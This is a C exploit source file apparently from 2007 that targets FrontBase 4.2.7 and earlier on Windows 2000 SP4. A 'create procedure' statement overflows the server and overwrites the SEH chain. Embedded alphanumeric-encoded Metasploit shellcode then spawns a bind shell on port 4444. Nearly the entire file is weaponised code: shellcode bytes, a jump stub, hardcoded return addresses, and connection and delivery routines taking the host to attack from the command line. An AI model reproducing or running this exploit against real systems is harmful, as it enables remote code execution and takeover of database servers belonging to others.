frontbase427-remote.txt

`/* Dreatica-FXP crew  
*   
* ----------------------------------------  
* Target : Frontbase <= 4.2.7 for Windows  
* Site : http://www.frontbase.com  
* Found by : Netragard, L.L.C Advisory  
* ----------------------------------------  
* Exploit date : 25.03.2007  
* Exploit writer : Heretic2 ([email protected])  
* OS : Windows 2000 SP4 (will add other later)  
* Crew : Dreatica-FXP  
* ----------------------------------------  
* Info:  
* The last Windows version of Frontbase that you can found on official site www.frontbase.com  
* is the 4.2.7d and this version is patched, so the exploit will not work here, i have tested that   
* exploit on the 4.2.7 version under Windows 2000 SP4 (not patched) and it is working good.  
*   
* The exploitation, as said in advisory, of this bug is easy: SEH and EIP overwrite methods.  
* but in 'real' life the exploitation is more difficult, cause the server allows only alphanumeric  
* bytes, like: 0x01 0x02 ... 0x7e 0x7f .  
* other bytes: 0x80 ... 0xff come to server transformed:  
* 0xEB will transform in two bytes 0xC2 0xAB  
* 0xFF will transform in two bytes 0xC3 0xBF  
* and etc...  
*   
* so the exploitation become more difficult here, however in one place of buffer i send to the server byte   
* 0xff, with assumptions that i will get the bytes 0xC3 0xBF and that the buffer will be one byte longer.  
*   
* for the correct exploitation i used some code from win32 SEH GetPC project and metasploit for the shellcodes.  
*   
* so the exploit is:  
* send 3115 bytes to server + address to overwrite SEH.  
* in my case i sent 3114 bytes, cause one 0xff transformed in 2 symbols  
*   
* ----------------------------------------  
* Compiling:  
* To compile this exploit you need:  
* 1. C:\usr\FrontBase\Include\FBCAccess copy to exploit folder.  
* 2. Copy from C:\usr\FrontBase\lib\ file FBCAccess.lib to your exploit folder.  
* 3. Select FBCAccess.lib in linker options  
* 4. Compile.  
* ----------------------------------------  
* Thanks to:  
* Netragard, L.L.C Advisory ( http://www.netragard.com -- "We make I.T. Safe." )  
* The Metasploit project ( http://metasploit.com )   
* win32 SEH GetPC project ( )   
* Dreatica-FXP crew ( )  
* ----------------------------------------  
*  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <winsock2.h>  
#pragma comment(lib,"ws2_32")  
#include "FBCAccess/FBCAccess.h"  
  
void usage(char * s);  
void logo();  
void prepare_shellcode(unsigned char * fsh, int sh);  
void make_buffer(char * buf, int itarget, int sh);  
int validate_args( int port, int sh, int itarget);  
int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf);  
  
// -----------------------------------------------------------------  
// XGetopt.cpp Version 1.2  
// -----------------------------------------------------------------  
int getopt(int argc, char *argv[], char *optstring);  
char *optarg; // global argument pointer  
int optind = 0, opterr; // global argv index  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
  
struct {  
const char *t ;  
unsigned long ret ;  
} targets[]=   
{   
// we need alphanumeric addreses so this one found in MSVCRT.dll (there are a lot in it)   
{"Windows 2000 SP4 no patches, MSVCRT.dll", 0x78014c40 },//pop, pop, ret  
{"Windows 2000 SP4 no pathces, MSVCRT.dll", 0x7803382b },//jmp ebx  
{NULL, 0x00000000 }  
};  
  
struct {  
const char * name;  
char * shellcode;  
}shellcodes[]={   
{"Spawn bindshell on port 4444",   
/* modified win32_bind - EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com   
first jmp instructions replaced by alphanumeric code taken from the win32 SEH GetPC project. */  
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48\x50\x68"  
"\x59\x41\x41\x51\x68\x5A\x59\x59\x59\x59\x41\x41\x51\x51\x44\x44"  
"\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58\x56\x6A\x30\x50\x50\x54"  
"\x55\x50\x50\x61\x33\x30\x31\x30\x38\x39\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66"  
"\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41\x76\x32\x42\x42\x32\x41"  
"\x41\x30\x41\x41\x42\x58\x50\x38\x42\x42\x75\x38\x69\x39\x6c\x52"  
"\x4a\x5a\x4b\x42\x6d\x68\x68\x48\x79\x4b\x4f\x6b\x4f\x4b\x4f\x65"  
"\x30\x6c\x4b\x30\x6c\x31\x34\x71\x34\x4e\x6b\x42\x65\x65\x6c\x6e"  
"\x6b\x53\x4c\x43\x35\x62\x58\x55\x51\x4a\x4f\x4e\x6b\x72\x6f\x54"  
"\x58\x6c\x4b\x51\x4f\x77\x50\x53\x31\x78\x6b\x43\x79\x4e\x6b\x54"  
"\x74\x6c\x4b\x35\x51\x6a\x4e\x64\x71\x6f\x30\x6e\x79\x6e\x4c\x6d"  
"\x54\x6f\x30\x64\x34\x55\x57\x4f\x31\x59\x5a\x36\x6d\x36\x61\x59"  
"\x52\x5a\x4b\x4c\x34\x37\x4b\x62\x74\x47\x54\x46\x48\x70\x75\x4d"  
"\x35\x6c\x4b\x73\x6f\x64\x64\x33\x31\x4a\x4b\x43\x56\x4c\x4b\x44"  
"\x4c\x62\x6b\x6e\x6b\x63\x6f\x57\x6c\x65\x51\x6a\x4b\x77\x73\x56"  
"\x4c\x6c\x4b\x6e\x69\x62\x4c\x44\x64\x45\x4c\x55\x31\x6f\x33\x44"  
"\x71\x6b\x6b\x51\x74\x4e\x6b\x53\x73\x30\x30\x4e\x6b\x57\x30\x34"  
"\x4c\x6c\x4b\x64\x30\x37\x6c\x4e\x4d\x6c\x4b\x53\x70\x73\x38\x73"  
"\x6e\x30\x68\x4c\x4e\x62\x6e\x74\x4e\x38\x6c\x30\x50\x79\x6f\x6a"  
"\x76\x51\x76\x30\x53\x42\x46\x72\x48\x35\x63\x45\x62\x33\x58\x64"  
"\x37\x64\x33\x74\x72\x43\x6f\x33\x64\x4b\x4f\x78\x50\x52\x48\x38"  
"\x4b\x7a\x4d\x4b\x4c\x57\x4b\x62\x70\x69\x6f\x6e\x36\x71\x4f\x6e"  
"\x69\x4b\x55\x33\x56\x6c\x41\x4a\x4d\x76\x68\x74\x42\x63\x65\x51"  
"\x7a\x77\x72\x4b\x4f\x4a\x70\x63\x58\x6e\x39\x35\x59\x6b\x45\x4e"  
"\x4d\x30\x57\x4b\x4f\x38\x56\x50\x53\x50\x53\x42\x73\x51\x43\x70"  
"\x53\x70\x43\x32\x73\x52\x63\x76\x33\x59\x6f\x6e\x30\x55\x36\x33"  
"\x58\x76\x71\x71\x4c\x63\x56\x56\x33\x6e\x69\x59\x71\x4e\x75\x55"  
"\x38\x4c\x64\x55\x4a\x72\x50\x6b\x77\x56\x37\x4b\x4f\x4e\x36\x53"  
"\x5a\x56\x70\x32\x71\x33\x65\x69\x6f\x4e\x30\x62\x48\x39\x34\x4c"  
"\x6d\x74\x6e\x4a\x49\x63\x67\x69\x6f\x79\x46\x43\x63\x36\x35\x6b"  
"\x4f\x68\x50\x35\x38\x5a\x45\x70\x49\x6d\x56\x70\x49\x41\x47\x6b"  
"\x4f\x68\x56\x56\x30\x41\x44\x33\x64\x71\x45\x69\x6f\x4e\x30\x4d"  
"\x43\x53\x58\x5a\x47\x70\x79\x6b\x76\x73\x49\x41\x47\x49\x6f\x4e"  
"\x36\x63\x65\x4b\x4f\x4e\x30\x53\x56\x50\x6a\x35\x34\x53\x56\x41"  
"\x78\x61\x73\x30\x6d\x4c\x49\x4b\x55\x72\x4a\x72\x70\x76\x39\x45"  
"\x79\x58\x4c\x6b\x39\x59\x77\x31\x7a\x67\x34\x4c\x49\x49\x72\x70"  
"\x31\x6f\x30\x6c\x33\x6f\x5a\x69\x6e\x72\x62\x36\x4d\x4b\x4e\x53"  
"\x72\x34\x6c\x6a\x33\x6e\x6d\x62\x5a\x36\x58\x6c\x6b\x4c\x6b\x4e"  
"\x4b\x61\x78\x30\x72\x6b\x4e\x6d\x63\x46\x76\x4b\x4f\x44\x35\x32"  
"\x64\x39\x6f\x38\x56\x51\x4b\x70\x57\x52\x72\x70\x51\x32\x71\x53"  
"\x61\x42\x4a\x43\x31\x56\x31\x46\x31\x70\x55\x43\x61\x79\x6f\x6a"  
"\x70\x62\x48\x6e\x4d\x59\x49\x67\x75\x7a\x6e\x33\x63\x39\x6f\x59"  
"\x46\x63\x5a\x59\x6f\x4b\x4f\x76\x57\x6b\x4f\x6a\x70\x4c\x4b\x61"  
"\x47\x59\x6c\x6b\x33\x38\x44\x43\x54\x49\x6f\x58\x56\x36\x32\x59"  
"\x6f\x4e\x30\x43\x58\x68\x70\x4f\x7a\x54\x44\x73\x6f\x71\x43\x4b"  
"\x4f\x4e\x36\x6b\x4f\x78\x50\x66"  
},   
{NULL , NULL }  
};  
  
// alphanumeric long back jump, using SEH method!  
char jmptoshellcode[]=  
// at the time of jump we have in EBX the address where we jumped after SEH exploitation  
// so we can use it to jump [EBX-0C20]  
"\x56\x54\x58\x36\x33\x30\x56\x58\x50\x50\x5f\x53\x58\x66\x2d\x20"   
"\x0C\x50\x59\x58\x64\x33\x3f\x64\x31\x38\x51\x57\x64\x31\x20\x6c";  
  
  
int main(int argc, char **argv)  
{  
char temp1[100], temp2[100];  
char * remotehost=NULL, * user=NULL, * password=NULL, * database=NULL, * dbpassword=NULL;  
char default_remotehost[]="127.0.0.1";  
char default_user[]="_SYSTEM";  
char default_password[]="";  
char default_database[]="";  
char default_dbpassword[]="";  
int port, itarget, sh;  
char c;   
logo();  
if(argc<2)  
{  
usage(argv[0]);   
return -1;  
}  
// set defaults   
port=-1;  
itarget=0;  
sh=0;  
// ------------   
while((c = getopt(argc, argv, "h:p:s:t:u:P:d:D:"))!= EOF)  
{  
switch (c)  
{  
case 'h':  
remotehost=optarg;  
break;   
case 's':  
sscanf(optarg, "%d", &sh);  
sh--;  
break;  
case 't':  
sscanf(optarg, "%d", &itarget);  
itarget--;  
break;  
case 'p':  
sscanf(optarg, "%d", &port);  
break;   
case 'u':  
user=optarg;  
break;   
case 'P':  
password=optarg;  
break;   
case 'd':  
database=optarg;  
break;   
default:  
usage(argv[0]);  
return -1;  
}   
}  
if(validate_args( port, sh, itarget)==-1) return -1;  
if(remotehost == NULL) remotehost=default_remotehost;  
if(user == NULL) user=default_user;  
if(password == NULL) password=default_password;  
if(dbpassword == NULL) dbpassword=default_dbpassword;  
if(database == NULL) database=default_database;  
  
memset(temp1,0,sizeof(temp1));  
memset(temp2,0,sizeof(temp2));  
memset(temp1, '\x20' , 58 - strlen(remotehost) -1);   
printf(" # Host : %s%s# \n", remotehost, temp1);   
if(port!=-1)  
{  
sprintf(temp2, "%d", port);  
memset(temp1,0,sizeof(temp1));  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);  
printf(" # Port : %s%s# \n", temp2, temp1);  
}else  
{  
sprintf(temp2, "%s", database);  
memset(temp1,0,sizeof(temp1));  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);  
printf(" # Database: %s%s# \n", temp2, temp1);  
}  
sprintf(temp2, "%s", user);  
memset(temp1,0,sizeof(temp1));  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);  
printf(" # User : %s%s# \n", temp2, temp1);  
sprintf(temp2, "%s", database);  
memset(temp1,0,sizeof(temp1));  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);  
printf(" # Database: %s%s# \n", temp2, temp1);  
memset(temp1,0,sizeof(temp1));   
memset(temp2,0,sizeof(temp2));  
sprintf(temp2, "%s", shellcodes[sh].name );  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);   
printf(" # Shellcde: %s%s# \n", temp2, temp1);   
memset(temp1,0,sizeof(temp1));   
memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);   
printf(" # Target : %s%s# \n", targets[itarget].t, temp1);   
printf(" # ------------------------------------------------------------------- # \n");  
fflush(stdout);  
  
char buf[20000];  
memset(buf,0,sizeof(buf));  
printf("[+] Constructing attacking buffer... ");  
fflush(stdout);  
make_buffer((char *)buf,itarget,sh);  
printf("done\n");  
  
if(send_buffer(remotehost,port, user, password, dbpassword, database, buf)==-1)  
{  
fprintf(stdout, "[-] Cannot exploit server %s\n", remotehost);   
return -1;  
}  
return 0;  
}  
  
int validate_args(int port, int sh, int itarget)  
{  
int i=0,x=0;  
for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;  
if(x==0)  
{  
printf("[-] The shellcode number is invalid\n");  
return -1;  
}   
x=0;  
for(i=0;targets[i].t;i++)if(i==itarget)x=1;  
if(x==0)  
{  
printf("[-] The target is invalid\n");  
return -1;  
}   
return 1;  
}  
  
void prepare_shellcode( char * fsh, int sh)  
{  
memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));   
}  
  
void make_buffer(char * buf, int itarget, int sh)  
{  
// -=[ prepare shellcode ]=-  
char * fsh;  
fsh = (char *) malloc ((strlen(shellcodes[sh].shellcode)+1) );  
memset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1));   
prepare_shellcode(fsh, sh);  
// -----------------  
  
// -=[ fill buffer here ]=-  
memset(buf,0,sizeof(buf));  
char * cp = buf;  
  
// make vulnerable sql92 command to get exploit  
strcat(buf, "create procedure \"");  
cp=buf+strlen(buf);   
  
// some useless bytes  
memset(cp, 'A', 7);   
cp+=strlen((char *)cp);  
  
// shellcode  
memcpy(cp, fsh, strlen(fsh));  
cp+=strlen((char *)cp);  
  
// fill after shellcode  
memset(cp, 'A', 3045-strlen(fsh));   
cp+=strlen((char *)cp);  
  
// alphanumeric long jump to our shellcode at the start of the buffer  
memcpy(cp, jmptoshellcode, strlen(jmptoshellcode));  
cp+=strlen((char *)cp);  
memset(cp, 'A', 59-strlen(jmptoshellcode));   
cp+=strlen((char *)cp);  
  
// at this place in stack points EBX and RET will go here, so we need to jmp upper   
// to prepare alphanumeric long jump  
  
*cp++ = '\x74'; // JNE ... at this point JNE will jump cause the last CMP was 'not equal'  
*cp++ = '\xff'; // this is not alphanumeric , but the server will transform \xff -> \xC3\xBF  
// so this will give us the JNE C3 and we will jump upper for 59 bytes  
// where we put a longer jump to our shellcode. This will add one byte more   
// so we will send not 3115, but 3114 bytes to overwrite SEH.  
*cp++ = '\x41';   
  
// SEH chain overwrite  
*cp++ = (char)((targets[itarget].ret ) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);  
  
// end of the sql92 command  
memcpy(cp, "\"()\n begin\n end;", strlen("\"()\n begin\n end;"));  
  
// -----------------  
}  
  
int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf)  
{  
FBCDatabaseConnection * fbdc;  
FBCMetaData *meta;  
char sesn[]="dreatica-fxp";   
if(database!=NULL) port = -1;  
fbcInitialize();   
if (port!=-1)  
{  
printf("[+] Connecting to %s:%d\n", host, port);  
fbdc = fbcdcConnectToDatabaseUsingPort(host, port, dbpassword);   
}else  
{  
printf("[+] Connecting to %s to database %s\n", host, database);  
fbdc = fbcdcConnectToDatabase(database, host, dbpassword);  
}  
if (fbdc == NULL)  
{  
printf("[-] Cannot connect to %s\n", host);  
return -1;  
}   
char * session_name=sesn;  
meta = fbcdcCreateSession(fbdc, session_name, user, password, "system_user");  
if (fbcmdErrorsFound(meta) != 0)  
{  
printf("[-] Failed to create session\n");  
FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);  
char* msgs = fbcemdAllErrorMessages(emd);   
fbcemdRelease(emd);  
free(msgs);  
fbcmdRelease(meta);  
fbcdcClose(fbdc);  
fbcdcRelease(fbdc);  
return -1;  
}   
fbcmdRelease(meta);  
printf("[+] Sending %d bytes of buffer to server, check the shell\n", strlen(buf));  
// if exploit success, the app will stop here.  
meta = fbcdcExecuteDirectSQL(fbdc, buf);  
if (fbcmdErrorsFound(meta) != 0)  
{  
printf("[-] Failed to send buffer\n");  
FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);  
char* msgs = fbcemdAllErrorMessages(emd);   
fbcemdRelease(emd);  
free(msgs);  
fbcmdRelease(meta);  
fbcdcClose(fbdc);  
fbcdcRelease(fbdc);  
return -1;  
}  
fbcmdRelease(meta);  
return 1;  
}  
  
  
// -----------------------------------------------------------------  
// XGetopt.cpp Version 1.2  
// -----------------------------------------------------------------  
int getopt(int argc, char *argv[], char *optstring)  
{  
static char *next = NULL;  
if (optind == 0)  
next = NULL;  
  
optarg = NULL;  
  
if (next == NULL || *next == '\0')  
{  
if (optind == 0)  
optind++;  
  
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')  
{  
optarg = NULL;  
if (optind < argc)  
optarg = argv[optind];  
return EOF;  
}  
  
if (strcmp(argv[optind], "--") == 0)  
{  
optind++;  
optarg = NULL;  
if (optind < argc)  
optarg = argv[optind];  
return EOF;  
}  
  
next = argv[optind];  
next++; // skip past -  
optind++;  
}  
  
char c = *next++;  
char *cp = strchr(optstring, c);  
  
if (cp == NULL || c == ':')  
return '?';  
  
cp++;  
if (*cp == ':')  
{  
if (*next != '\0')  
{  
optarg = next;  
next = NULL;  
}  
else if (optind < argc)  
{  
optarg = argv[optind];  
optind++;  
}  
else  
{  
return '?';  
}  
}  
  
return c;  
}  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
  
  
  
  
  
void usage(char * s)  
{   
printf(" Usage:\n");  
printf(" %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword>\n", s);  
printf(" ----------------------------------------------------------------------- \n");  
printf(" Arguments:\n");  
printf("\n");  
printf(" -h <host> the host IP to attack\n");  
printf(" -p <port> the port of server (default: -1 )\n");  
printf(" -s <shellcode> shellcode number (default: 0 )\n");  
printf(" -t <target> target number (default: 0 )\n");  
printf(" -t <target> target number (default: 0 )\n");  
printf(" -u <user> user name of frontbase (default: _SYSTEM)\n");  
printf(" -p <passwrod> user password (default: <blank>)\n");  
printf(" -d <database> database (if port = -1) (default: <blank>)\n");  
printf(" -d <dbpassword> database password (default: <blank>)\n");  
printf("\n");  
printf(" Shellcodes:\n");  
for(int i=0; shellcodes[i].name!=0;i++)  
{  
printf(" %d. %s Size=%d\n",i+1,shellcodes[i].name, strlen(shellcodes[i].shellcode));   
}   
printf("\n");  
printf(" Targets:\n");  
for(int j=0; targets[j].t!=0;j++)  
{  
printf(" %d. %s\n",j+1,targets[j].t);  
}   
printf("\n");  
printf(" Examples:\n");  
printf(" %s -h 127.0.0.1 -d NewDB\n", s);  
printf(" %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n", s);  
printf(" ----------------------------------------------------------------------- \n");   
  
  
}  
  
void logo()  
{  
printf(" ####################################################################### \n");   
printf(" # ____ __ _ ______ __ _____ #\n");  
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");  
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");  
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");  
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");  
printf(" # crew #\n");  
printf(" ####################################################################### \n");   
printf(" # Exploit : Frontbase <= 4.2.7 for Windows # \n");  
printf(" # Author : Heretic2 ([email protected]) # \n");  
printf(" # Version : 1.1 # \n");  
printf(" # System : Windows 2000 SP4 # \n");  
printf(" # Date : 25.03.2007 # \n");  
printf(" # ------------------------------------------------------------------- # \n");  
}  
  
`